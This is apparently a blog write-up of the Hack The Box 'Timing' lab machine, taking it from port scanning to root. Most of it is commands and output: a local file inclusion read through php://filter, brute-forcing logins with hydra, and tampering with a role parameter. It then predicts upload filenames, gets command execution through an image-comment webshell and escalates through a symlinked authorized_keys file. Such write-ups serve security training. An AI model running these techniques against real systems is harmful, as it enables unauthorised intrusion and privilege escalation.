As this machine is still active, the following content is protected Javascript needs to be enabled to decrypt content Recon to foothold First off we’ll start with a masscan, this is a good way of covering both TCP and UDP ports pretty quickly rob:Timing/ $ sudo masscan -p1-65535,U:1-65535 10.10.11.135 --rate=1000 -e tun0 Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2022-01-21 17:29:25 GMT Initiating SYN Stealth Scan Scanning 1 hosts [131070 ports/host] Discovered open port 80/tcp on 10.10.11.135 Discovered open port 22/tcp on 10.10.11.135 rate: 0.00-kpps, 100.00% done, waiting -2-secs, found=2 And now we can investigate these found ports more deeply with nmap ob:Timing/ $ nmap -A -T4 -v -p80 10.10.11.135 Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-21 17:34 GMT NSE: Loaded 155 scripts for scanning. NSE: Script Pre-scanning. Initiating NSE at 17:34 Completed NSE at 17:34, 0.00s elapsed Initiating NSE at 17:34 Completed NSE at 17:34, 0.00s elapsed Initiating NSE at 17:34 Completed NSE at 17:34, 0.00s elapsed Initiating Ping Scan at 17:34 Scanning 10.10.11.135 [2 ports] Completed Ping Scan at 17:34, 0.02s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 17:34 Completed Parallel DNS resolution of 1 host. at 17:34, 0.02s elapsed Initiating Connect Scan at 17:34 Scanning 10.10.11.135 [1 port] Discovered open port 80/tcp on 10.10.11.135 Completed Connect Scan at 17:34, 0.02s elapsed (1 total ports) Initiating Service scan at 17:34 Scanning 1 service on 10.10.11.135 Completed Service scan at 17:34, 6.05s elapsed (1 service on 1 host) NSE: Script scanning 10.10.11.135. Initiating NSE at 17:34 Completed NSE at 17:34, 0.46s elapsed Initiating NSE at 17:34 Completed NSE at 17:34, 0.08s elapsed Initiating NSE at 17:34 Completed NSE at 17:34, 0.00s elapsed Nmap scan report for 10.10.11.135 Host is up (0.021s latency). PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set |_http-server-header: Apache/2.4.29 (Ubuntu) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS | http-title: Simple WebApp |_Requested resource was ./login.php NSE: Script Post-scanning. Initiating NSE at 17:34 Completed NSE at 17:34, 0.00s elapsed Initiating NSE at 17:34 Completed NSE at 17:34, 0.00s elapsed Initiating NSE at 17:34 Completed NSE at 17:34, 0.00s elapsed Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 7.03 seconds We have a web server on port 80, let’s check that out In the source we find a potential hint of a ‘beta’ function maybe Forgot Password? We can poke the login form a little with a hydra attack on the most common usernames and passwords (admin:admin, root:root, etc.) rob:Usernames/ $ hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt -P /usr/share/seclists/Passwords/Common-Credentials/top-passwords-shortlist.txt 10.10.11.135 http-post-form "/login.php?login=true:user=^USER^&password=^PASS^:Invalid username or password" Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-01-21 18:15:57 [DATA] max 16 tasks per 1 server, overall 16 tasks, 425 login tries (l:17/p:25), ~27 tries per task [DATA] attacking http-post-form://10.10.11.135:80/login.php?login=true:user=^USER^&password=^PASS^:Invalid username or password 1 of 1 target completed, 0 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-01-21 18:16:11 Ok, it was worth a try :) The name of the box, ‘Timing’, leads to a few ideas an SQLi timing attack a race condition of some kind in the web app some job triggered on a time schedule by cron or systemd Try as we might though, we can’t find an SQL injection approach that works, neither manually nor with sqlmap We can user gobuster to hunt for any other file/directories of interest rob:Timing/ $ gobuster dir --url 10.10.11.135 -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -x php,txt,zip,html =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.10.11.135 [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Extensions: php,txt,zip,html [+] Timeout: 10s =============================================================== 2022/01/21 17:35:32 Starting gobuster in directory enumeration mode =============================================================== /js (Status: 301) [Size: 309] [-- http://10.10.11.135/js/] /images (Status: 301) [Size: 313] [-- http://10.10.11.135/images/] /css (Status: 301) [Size: 310] [-- http://10.10.11.135/css/] /logout.php (Status: 302) [Size: 0] [-- ./login.php] /login.php (Status: 200) [Size: 5609] /upload.php (Status: 302) [Size: 0] [-- ./login.php] /image.php (Status: 200) [Size: 0] /profile.php (Status: 302) [Size: 0] [-- ./login.php] /index.php (Status: 302) [Size: 0] [-- ./login.php] /header.php (Status: 302) [Size: 0] [-- ./login.php] /footer.php (Status: 200) [Size: 3937] /server-status (Status: 403) [Size: 277] /db_conn.php (Status: 200) [Size: 0] /index.php (Status: 302) [Size: 0] [-- ./login.php] =============================================================== 2022/01/21 17:46:32 Finished =============================================================== Ok, there’s a couple of interesting returns there, we might poke around the upload.php file a bit, and also the image.php file seems like a good target. We don’t find anything responding in a useful way wrt upload.php but the image.php seems like it could be a way to view images potentially, which is not uncommon (e.g. a ?file=…) Poking around a little more we find an uploads directory under images, but nothing very interesting under that rob:Timing/ $ gobuster dir --url 10.10.11.135/images/ -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -x png,jpg =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.10.11.135/images/ [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Extensions: jpg,png [+] Timeout: 10s =============================================================== 2022/01/21 19:21:38 Starting gobuster in directory enumeration mode =============================================================== /uploads (Status: 301) [Size: 321] [-- http://10.10.11.135/images/uploads/] /background.jpg (Status: 200) [Size: 208312] =============================================================== 2022/01/21 19:28:15 Finished =============================================================== Working on the idea that image.php might be an image ‘getter’ we can use ffuf to see if there is a particular parameter name that might get us a response. We have a path to an image (images/background.jpg) so we can use that as our path rob:Timing/ $ ffuf -u http://10.10.11.135/image.php\?FUZZ\=images/background.jpg -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -fl 1 /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v1.3.1 Kali Exclusive Excellent, so a parameter value of img, as in image.php?img=... will fetch us our file. It’s worth testing whether this could be an LFI vulnerability too, this type of architecture often is (at least in CTF-land 😄) rob:Timing/ $ curl http://10.10.11.135/image.php\?img\=/etc/passwd Hacking attempt detected!% Ahh, it seems they are wise to our hacking ways, there must be a bypass though for this. We run through most of the Directory Traveral and File Inclusion tips on payloadsallthethings without success. Perhaps we can extract the file using PHP filters and read the restrictions from that rob:Timing/ $ curl http://10.10.11.135/image.php\?img\=php://filter/convert.base64-encode/resource\=image.php PD9waHAKCmZ1bmN0aW9uIGlzX3NhZmVfaW5jbHVkZSgkdGV4dCkKewogICAgJGJsYWNrbGlzdCA9IGFycmF5KCJwaHA6Ly9pbnB1dCIsICJwaGFyOi8vIiwgInppcDovLyIsICJmdHA6Ly8iLCAiZmlsZTovLyIsICJodHRwOi8vIiwgImRhdGE6Ly8iLCAiZXhwZWN0Oi8vIiwgImh0dHBzOi8vIiwgIi4uLyIpOwoKICAgIGZvcmVhY2ggKCRibGFja2xpc3QgYXMgJGl0ZW0pIHsKICAgICAgICBpZiAoc3RycG9zKCR0ZXh0LCAkaXRlbSkgIT09IGZhbHNlKSB7CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICB9CiAgICByZXR1cm4gc3Vic3RyKCR0ZXh0LCAwLCAxKSAhPT0gIi8iOwoKfQoKaWYgKGlzc2V0KCRfR0VUWydpbWcnXSkpIHsKICAgIGlmIChpc19zYWZlX2luY2x1ZGUoJF9HRVRbJ2ltZyddKSkgewogICAgICAgIGluY2x1ZGUoJF9HRVRbJ2ltZyddKTsKICAgIH0gZWxzZSB7CiAgICAgICAgZWNobyAiSGFja2luZyBhdHRlbXB0IGRldGVjdGVkISI7CiAgICB9Cn0K% Excellent, it seems we can! Let’s b64-decode this and see what we get So there we can see the restrictions in place $blacklist = array("php://input", "phar://", "zip://", "ftp://", "file://", "http://", "data://", "expect://", "https://", "../"); With the same method we can try to extract the db_conn.php file Ok, we have mysql creds, root:4_V3Ry_l0000n9_p422w0rd. We don’t find any evidence of credential reuse though, this password doesn’t seem to work on any other service (weblogin/ssh) Taking this filter approach also seems to bypass the blacklist restrictions, we can extract the /etc/passwd file easily now rob:Timing/ $ curl -s http://10.10.11.135/image.php\?img\=php://filter/convert.base64-encode/resource\=/etc/passwd | base64 --decode root❌0:0:root:/root:/bin/bash --snip-- mysql❌111:114:MySQL Server,,,:/nonexistent:/bin/false aaron❌1000:1000:aaron:/home/aaron:/bin/bash Ok, excellent, we have a user aaron. The found mysql password still doesn’t do anything for us with this username however Let’s also extract the upload.php file too, just in case it allows us to upload a file without authentication rob:// $ curl -s http://10.10.11.135/image.php\?img\=php://filter/convert.base64-encode/resource\=upload.php | base64 --decode And we need to know the contents of /admin_auth_check.php too rob:// $ curl -s http://10.10.11.135/image.php\?img\=php://filter/convert.base64-encode/resource\=admin_auth_check.php | base64 --decode Which in turn requires /auth_check.php rob:// $ curl -s http://10.10.11.135/image.php\?img\=php://filter/convert.base64-encode/resource\=auth_check.php | base64 --decode So from /admin_auth_check.php we can see that once we have a valid set of user creds then we will need to manipulate the role variable to indicate that we should be treated as an admin We can try hydra against the form using aaron as our username rob:// $ hydra -l aaron -P /usr/share/wordlists/rockyou.txt 10.10.11.135 http-post-form "/login.php?login=true:user=^USER^&password=^PASS^:Invalid username or password entered" Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-01-23 02:01:38 [DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task [DATA] attacking http-post-form://10.10.11.135:80/login.php?login=true:user=^USER^&password=^PASS^:Invalid username or password entered [STATUS] 523.00 tries/min, 523 tries in 00:01h, 14343876 to do in 457:07h, 16 active [80][http-post-form] host: 10.10.11.135 login: aaron password: aaron 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-01-23 02:02:58 Ok, so the creds are aaron:aaron, didn’t think it would be that obvious! There is an ‘Edit profile’ option, if we use this with just the defaults given (“test”)and intercept the response we can see the following There’s our role parameter, let’s try resending the profile_update.php while adding role: 1 to the request Ok, that seems to have taken the request, let’s refresh our dashboard and see if our status has changed Yes! We have an ‘Admin panel’ option now, let’s check that out Ok, we have an upload form, this more than likely must utilise the files we extracted earlier. This will give us a bit of a challenge then as in the upload.php file we saw these lines, adding a random prefix to the filename $file_hash = uniqid(); $file_name = md5('$file_hash' . time()) . '_' . basename($_FILES["fileToUpload"]["name"]); Well, not quite random, in theory if we can match the exact right time() then we could predict it. Actually… we probably don’t need to match the time exactly, we could also create MD5 hashes for times a little after we hit the upload button too, then dirbust them against the uploads folder It’s also not quite as random as it could be, the first line generates a uniqid() Description ¶ uniqid(string $prefix = “”, bool $more_entropy = false): string Gets a prefixed unique identifier based on the current time in microseconds Which sounds bad, microseconds after all would make it very hard to match. However the second line encloses the variable name in '', meaning that we never use the variable value, just the text '$file_hash'. We can test this with a little interactive PHP session rob:// $ php -a Interactive mode enabled php $file_hash = uniqid(); php $file_name = '$file_hash'.time().'_'.'our_filename'; php echo $file_name; $file_hash1642904491_our_filename So our instance will be a little different insofar as the $file_hash1642904491 portion will be transformed into an MD5 hash, but this is a much more predictable situation. We must also check the precision of the PHP time() function Description ¶ time(): int Returns the current time measured in the number of seconds since the Unix Epoch (January 1 1970 00:00:00 GMT). Excellent, it’s measuring in whole seconds, we won’t need to compute many versions to capture the generated filename when we hit the ‘go’ button. It should also be noted that a unix timestamp is always in UTC, i.e. we don’t need to know where the server is in the world, a timestamp generated on our client should match a timestamp generated anywhere A little python script will produce a filename list for us, we’ll trigger it at the same time as we execute the upload task from time import time from hashlib import md5 filename = "revshell.php.jpg" time_started = int(time()) # time() returns a floating point value with open("wordlist.txt","w") as f: for i in range(time_started - 30, time_started + 30): to_be_hashed = ("file_name" + str(i)).encode() # must be bytes for md5() candidate_filename = md5(to_be_hashed).hexdigest() + "_" + filename + "\n" f.write(candidate_filename) So we get a success message And our script returns a list of candidate names, going +/- 30 seconds from the ‘go’ time rob:Timing/ $ head wordlist.txt b9401d815dc373f3753431b457ade76d_revshell.php.jpg 78df1ffd46a3dc5dbab57ca8212dc3c7_revshell.php.jpg 7f57d815ff1e75c18376dc287f8eefec_revshell.php.jpg 8911efcdeef8325e18954b07c6574b50_revshell.php.jpg 6b645d83f3e7a528f4356c3e240a1f47_revshell.php.jpg 22f1f97ae96b5df1448a9138d83aac34_revshell.php.jpg 6e00ff43fcadccbf7574e9dc275dc6a3_revshell.php.jpg acd5f826c74d0c291db5e3eed00496ec_revshell.php.jpg eb8354f50c1de2b66639bbe3a38fbed2_revshell.php.jpg cb9fca635b30fca183304f3d26b4a5d2_revshell.php.jpg But we can’t find any of them when we go looking rob:Timing/ $ ffuf -u http://10.10.11.135/images/uploads/FUZZ -w wordlist.txt /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v1.3.1 Kali Exclusive Let’s quickly pull the time from the server by reading the /proc/driver/rtc contents rob:// $ curl -s http://10.10.11.135/image.php\?img\=php://filter/convert.base64-encode/resource\=/proc/driver/rtc | base64 --decode rtc_time : 03:10:12 rtc_date : 2022-01-23 alrm_time : 00:00:00 alrm_date : 2022-01-23 alarm_IRQ : no alrm_pending : no update IRQ enabled : no periodic IRQ enabled : no periodic IRQ frequency : 1024 max user IRQ frequency : 64 24hr : yes periodic_IRQ : no update_IRQ : no HPET_emulated : yes BCD : yes DST_enable : no periodic_freq : 1024 batt_status : okay And this matches what we get on our attackbox rob:// $ cat /proc/driver/rtc rtc_time : 03:10:20 rtc_date : 2022-01-23 --snip-- So the server time isn’t out by any kind of crazy amount, our +/- 30 second window should be enough to capture it Perhaps there is something else happening, a script that removes any files containing php or similar? We have another upload attack vector we can try, using the exifdata of a genuine image file. We’ll add a PHP command execution script to the ‘Comment’ field of an image rob:Timing/ $ exiftool -Comment background.jpg rob:Timing/ $ exiftool -Comment='' background.jpg 1 image files updated rob:Timing/ $ exiftool -Comment background.jpg Comment : Now if we upload this then, again once we can identify the name of the file, we can execute commands by adding a &cmd= parameter to our web request Around now is when we notice the mistake… we wrote “we never use the variable value, just the text '$file_hash'”, but we used to_be_hashed = ("file_name" + str(i)).encode()… Let’s try again with the right text, ignoring the hours of wasted time… rob@kali:~/Documents/HackTheBox/Timing$ python3 timing.py rob@kali:~/Documents/HackTheBox/Timing$ while read p; do echo "10.10.11.135/image.php?img=images/uploads/$p"; curl "10.10.11.135/image.php?img=images/uploads/$p"; done " to save to a file. 10.10.11.135/image.php?img=images/uploads/ea22df90a37cf09df176265a2d365fe7_background.jpg 10.10.11.135/image.php?img=images/uploads/adaaff964577c572c65f271101fe4663_background.jpg 10.10.11.135/image.php?img=images/uploads/e9eb3578a290e6eea89619514a0ac389_background.jpg And there it is, first time… Let’s try command execution then, now that we can find the file rob:Timing/ $ curl 'http://10.10.11.135/image.php?img=images/uploads/3cdc30a2f6bc0a1d35ba601efb5febe5_background.jpg&cmd=id' Warning: Binary output can mess up your terminal. Use "--output -" to tell Warning: curl to output it to your terminal anyway, or consider "--output Warning: " to save to a file. There’s always something 😄 rob:Timing/ $ curl 'http://10.10.11.135/image.php?img=images/uploads/3cdc30a2f6bc0a1d35ba601efb5febe5_background.jpg&cmd=id' --output image.jpg % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 203k 0 203k 0 0 658k 0 --:--:-- --:--:-- --:--:-- 656k rob:Timing/ $ tail -1 image.jpg ��5��R��88T\��o�)�lm�x�6�jv��T�������q�� �c�¿��zo�q~/���_N�_����Ӈ4�n4�)�����W��ޛd1�UO�qd��N8US�}&M��O���.=�������9~%= =�.�����"��v*zT�_���?�����;���������%o��uid=33(www-data) gid=33(www-data) groups=33(www-data) If we dump the binary data to a file however and then check the tail end of the output, sure enough we find the result of our command execution, uid=33(www-data) gid=33(www-data) groups=33(www-data). We have RCE! Now we can try to grab a shell, but try as we might we can’t get a single shell to pop regardless of trying bash, php, python, etc. versions. Let’s do some manual enumeration now that we have this command execution and see if we can find any more information. For clarity here we’ll just include the cmd= parameter and the relevant output After some poking around the file system we find an interesting file in /opt &cmd=ls+-la+/opt drwxr-xr-x 2 root root 4096 Dec 2 11:19 . drwxr-xr-x 24 root root 4096 Nov 29 01:34 .. -rw-r--r-- 1 root root 627851 Jul 20 2021 source-files-backup.zip Let’s grab this, we know we can extract files via the php:filter trick, so let’s do that here rob:Timing/ $ curl -s '10.10.11.135/image.php?img=php://filter/convert.base64-encode/resource=/opt/source-files-backup.zip' | base64 --decode source-files-backup.zip rob:Timing/ $ unzip -lv source-files-backup.zip Archive: source-files-backup.zip Length Method Size Cmpr Date Time CRC-32 Name -------- ------ ------- ---- ---------- ----- -------- ---- 0 Stored 0 0% 2021-07-20 23:34 00000000 backup/ 1498 Defl:N 586 61% 2021-07-20 23:34 9d75a110 backup/header.php 1740 Defl:N 656 62% 2021-07-20 23:34 f4bba40c backup/profile_update.php --snip-- 0 Stored 0 0% 2021-07-20 23:34 00000000 backup/images/uploads/ 208312 Defl:N 183131 12% 2021-07-20 23:34 99a6fde8 backup/images/background.jpg 984 Defl:N 472 52% 2021-07-20 23:34 1d02420e backup/upload.php 0 Stored 0 0% 2021-07-20 23:35 00000000 backup/.git/ 0 Stored 0 0% 2021-07-20 23:34 00000000 backup/.git/refs/ 0 Stored 0 0% 2021-07-20 23:34 00000000 backup/.git/refs/heads/ 41 Stored 41 0% 2021-07-20 23:34 b5260e2d backup/.git/refs/heads/master 0 Stored 0 0% 2021-07-20 23:34 00000000 backup/.git/refs/tags/ 0 Stored 0 0% 2021-07-20 23:34 00000000 backup/.git/branches/ 16 Stored 16 0% 2021-07-20 23:34 48846a28 backup/.git/COMMIT_EDITMSG 0 Stored 0 0% 2021-07-20 23:34 00000000 backup/.git/objects/ 0 Stored 0 0% 2021-07-20 23:34 00000000 backup/.git/objects/f9/ 166 Stored 166 0% 2021-07-20 23:34 67dfe32e backup/.git/objects/f9/e070df890eec2f1733239c9208734e2a685f0c 0 Stored 0 0% 2021-07-20 23:34 00000000 backup/.git/objects/c6/ 161 Stored 161 0% 2021-07-20 23:34 4da01b69 backup/.git/objects/c6/ec0e2e0274eecbcb4ed8f4c9c8a87e28277c4a 0 Stored 0 0% 2021-07-20 23:34 00000000 backup/.git/objects/f1/ 107 Stored 107 0% 2021-07-20 23:34 3db75a5c backup/.git/objects/f1/c921713053704b60c55f07c88f76c879f3fc6c --snip-- 1872 Defl:N 1003 46% 2021-07-20 23:35 9524c457 backup/.git/index 200 Defl:N 160 20% 2021-07-20 23:34 bb092486 backup/admin_auth_check.php -------- ------- --- ------- 848116 605365 29% 116 files Ok, that is interesting, not only do we have the files for the website here, but we also seem to have the Git repository which may very well contain previous versions of files that could give us some later-removed secrets. Let’s unzip it and examine the repo rob:Timing/ $ cd backup rob:backup/ (master) $ git log commit 16de2698b5b122c93461298eab730d00273bd83e (HEAD - master) Author: grumpy Date: Tue Jul 20 22:34:13 2021 +0000 db_conn updated commit e4e214696159a25c69812571c8214d2bf8736a3f Author: grumpy Date: Tue Jul 20 22:33:54 2021 +0000 init So, it seems we have an older version of the db_conn file, perhaps this has a MySQL password that will give us some access to the box where the current one does not. Let’s retrieve it and find out rob:backup/ (master) $ git show e4e214696159:db_conn.php Ok, now perhaps this password together with our found username aaron might get us in through SSH rob:Timing/ $ ssh aaron@10.10.11.135 aaron@10.10.11.135's password: Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 4.15.0-147-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Sun Jan 23 15:56:08 UTC 2022 System load: 0.0 Processes: 172 Usage of /: 51.6% of 4.85GB Users logged in: 0 Memory usage: 17% IP address for eth0: 10.10.11.135 Swap usage: 0% 8 updates can be applied immediately. 8 of these updates are standard security updates. To see these additional updates run: apt list --upgradable Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings aaron@timing:~$ id uid=1000(aaron) gid=1000(aaron) groups=1000(aaron) And it does! We have our foothold User aaron Let’s grab the user flag now aaron@timing:~$ cat user.txt `REDACTED` Checking our sudo rights as user aaron we find that we can execute a single command aaron@timing:~$ sudo -l Matching Defaults entries for aaron on timing: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User aaron may run the following commands on timing: (ALL) NOPASSWD: /usr/bin/netutils So when we run this /usr/bin/netutils file we get the following aaron@timing:~$ sudo netutils netutils v0.1 Select one option: [0] FTP [1] HTTP [2] Quit Input And selecting option 1 for example and pointing it to a file hosted on our attackbox we see that this utility downloads the specified file and stores it in our user home directory (actually in the current working directory) Input 1 Enter Url: http://10.10.14.18:9090/test.html Initializing download: http://10.10.14.18:9090/test.html File size: unavailable Opening output file test.html.1 Server unsupported, starting from scratch with one connection. Starting download Connection 0 finished Downloaded 0 byte in 0 seconds. (0.00 KB/s) Input 2 aaron@timing:~$ ls -lA test.html -rw-r--r-- 1 root root 0 Jan 23 15:59 test.html Accidentally trying to run the utility without sudo shows us that this is running a .jar file from /root aaron@timing:~$ netutils Error: Unable to access jarfile /root/netutils.jar So what else if anything is this netutils file doing? aaron@timing:~$ cat /usr/bin/netutils #! /bin/bash java -jar /root/netutils.jar Now that’s interesting, we can see that java is used without an absolute path, perhaps we can spoof the java binary then aaron@timing:~$ export PATH=~/:$PATH aaron@timing:~$ vi java aaron@timing:~$ cat java #! /bin/bash /bin/bash -p aaron@timing:~$ chmod +x java aaron@timing:~$ sudo netutils netutils v0.1 Select one option: [0] FTP [1] HTTP [2] Quit Input No, unfortunately not, the sudo command shows us why (env_reset & secure_path) aaron@timing:~$ sudo -l Matching Defaults entries for aaron on timing: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User aaron may run the following commands on timing: (ALL) NOPASSWD: /usr/bin/netutils Perhaps we can have the script request a file from its own host, we have a user login and a full python install, so we can make a web server on the box to serve whatever we want. We can see that root logins are allowed aaron@timing:~$ grep PermitRootLogin /etc/ssh/sshd_config PermitRootLogin yes #PermitRootLogin prohibit-password # the setting of "PermitRootLogin without-password". So let’s try making a link to root’s authorized_keys file, then in theory if we download a file with the same name, when it goes to save this file it might should write it to where we need it aaron@timing:~$ ln -s /root/.ssh/authorized_keys aaron@timing:~$ ls -lA authorized_keys lrwxrwxrwx 1 aaron aaron 26 Jan 23 17:02 authorized_keys - /root/.ssh/authorized_keys Now we make the version of authorized_keys we’d like to be written to /root, dropping our public key into it aaron@timing:~/$ echo -n 'ssh-rsa AAAAB --snip-- CLj4ZaDww== rob@kali' test/authorized_keys And now we attempt the download and save aaron@timing:~$ sudo netutils netutils v0.1 Select one option: [0] FTP [1] HTTP [2] Quit Input 1 Enter Url: localhost:8000/test/authorized_keys Initializing download: http://localhost:8000/test/authorized_keys File size: 733 bytes Opening output file authorized_keys Server unsupported, starting from scratch with one connection. Starting download Downloaded 733 byte in 0 seconds. (7.14 KB/s) This should have saved the file to the given location, which links to the otherwise unwritable location under /root. Let’s test it by attempting a login rob:Timing/ $ ssh root@10.10.11.135 Enter passphrase for key '/home/rob/.ssh/id_rsa': Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 4.15.0-147-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Sun Jan 23 17:07:02 UTC 2022 System load: 0.07 Processes: 178 Usage of /: 51.8% of 4.85GB Users logged in: 1 Memory usage: 22% IP address for eth0: 10.10.11.135 Swap usage: 0% 8 updates can be applied immediately. 8 of these updates are standard security updates. To see these additional updates run: apt list --upgradable Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings Last login: Tue Dec 7 12:08:29 2021 root@timing:~# cat root.txt `REDACTED` And we have root access! div#hugo-encrypt-sha1sum {display: none;} const storageKey = location.pathname + "password"; const userStorage = window['sessionStorage'] ; function str2buf(str) { return new TextEncoder("utf-8").encode(str); } function buf2str(buffer) { return new TextDecoder("utf-8").decode(buffer); } function hex2buf(hexStr) { return new Uint8Array(hexStr.match(/.{2}/g).map(h = parseInt(h, 16))); } function deriveKey(passphrase, salt) { salt = salt || crypto.getRandomValues(new Uint8Array(8)); return crypto.subtle .importKey("raw", str2buf(passphrase), "PBKDF2", false, ["deriveKey"]) .then(key = crypto.subtle.deriveKey( { name: "PBKDF2", salt, iterations: 1000, hash: "SHA-256" }, key, { name: "AES-GCM", length: 256 }, false, ["encrypt", "decrypt"], ), ) .then(key = [key, salt]); } function decrypt(passphrase, saltIvCipherHex) { const [salt, iv, data] = saltIvCipherHex.split("-").map(hex2buf); return deriveKey(passphrase, salt) .then(([key]) = crypto.subtle.decrypt({ name: "AES-GCM", iv }, key, data)) .then(v = buf2str(new Uint8Array(v))); } async function digestMessage(message) { const msgUint8 = new TextEncoder().encode(message); const hashBuffer = await crypto.subtle.digest('SHA-1', msgUint8); const hashArray = Array.from(new Uint8Array(hashBuffer)); const hashHex = hashArray.map(b = b.toString(16).padStart(2, '0')).join(''); return hashHex; } const hugoDecrypt = function(password, type) { for (const cipher of ciphers) { decrypt(password, cipher.innerText).then(function(decrypted_text) { digestMessage(decrypted_text.replace(/\r?\n?[^\r\n]*$/, "")).then(function(sha1_sum) { if ( decrypted_text.includes(sha1_sum) ) { document.getElementById("hugo-encrypt-encryption-notice").remove(); cipher.outerHTML = decrypted_text; userStorage.setItem(storageKey, password); document.getElementById("hugo-encrypt-sha1sum").innerHTML = "Success: " + sha1_sum; console.log("Decryption successful. Storing password in sessionStorage."); } }); }).catch(function(error) { if (type === "input") { document.getElementById("hugo-encrypt-input-response").innerHTML = "Password is incorrect"; console.log('Password is incorrect', error); } else if (type === "storage") { userStorage.removeItem(location.pathname + "password"); console.log("Password changed. Clearing userStorage.", error); } }); } }; window.onload = () = { ciphers = Array.from(document.querySelectorAll("cipher-text")); if (userStorage.getItem(storageKey)) { console.log("Found storageKey in userStorage. Attemtping decryption"); hugoDecrypt(userStorage.getItem(storageKey), "storage"); } };